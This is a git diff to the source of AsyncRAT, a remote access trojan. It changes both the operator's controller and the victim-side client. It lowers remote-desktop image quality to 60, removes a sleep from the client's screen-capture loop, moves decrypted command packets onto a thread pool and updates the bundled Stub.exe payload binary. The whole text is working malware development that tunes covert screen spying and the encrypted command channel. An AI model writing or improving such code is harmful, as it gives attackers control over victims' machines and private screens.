diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs index 9b07f62..cefe314 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs @@ -44,7 +44,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "true"; C.BeginSend(msgpack.Encode2Bytes()); - decoder = new UnsafeStreamCodec(80); + decoder = new UnsafeStreamCodec(60); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 1d6458f..4eb66cf 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -13,10 +13,13 @@ namespace AsyncRAT_Sharp.Handle_Packet class HandlePacket { private static cGeoMain cNewGeoUse = new cGeoMain(); - public static void Read(Clients Client, byte[] Data) + public static void Read(object Obj) { try { + object[] array = Obj as object[]; + byte[] Data = (byte[])array[0]; + Clients Client = (Clients)array[1]; MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes(Data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index 9f51c75..b4bfee7 100644 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index a6f80e9..a67f2d3 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -7,6 +7,8 @@ using AsyncRAT_Sharp.Handle_Packet; using System.Threading.Tasks; using System.Security.Cryptography; using System.Drawing; +using System.Diagnostics; +using System.Threading; namespace AsyncRAT_Sharp.Sockets { @@ -65,6 +67,7 @@ namespace AsyncRAT_Sharp.Sockets if (Buffersize > 0) { Buffer = new byte[Buffersize]; + Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); BufferRecevied = true; } } @@ -75,11 +78,9 @@ namespace AsyncRAT_Sharp.Sockets await MS.WriteAsync(Buffer, 0, Recevied); if (MS.Length == Buffersize) { - await Task.Run(() => - { try { - HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray())); + ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this }); } catch (CryptographicException) { @@ -94,7 +95,6 @@ namespace AsyncRAT_Sharp.Sockets MS.Dispose(); MS = new MemoryStream(); BufferRecevied = false; - }); } else Buffer = new byte[Buffersize - MS.Length]; diff --git a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs index ddf3fe6..dc5543d 100644 --- a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs @@ -17,10 +17,9 @@ namespace Client.Handle_Packet { try { - IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80); + IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60); while (RemoteDesktop_Status == true) { - Thread.Sleep(1); if (!ClientSocket.Client.Connected) break; Bitmap bmp = GetScreen(); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 98940b5..ad0baf3 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -123,7 +123,7 @@ namespace Client.Sockets if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); - Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///"); + Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0)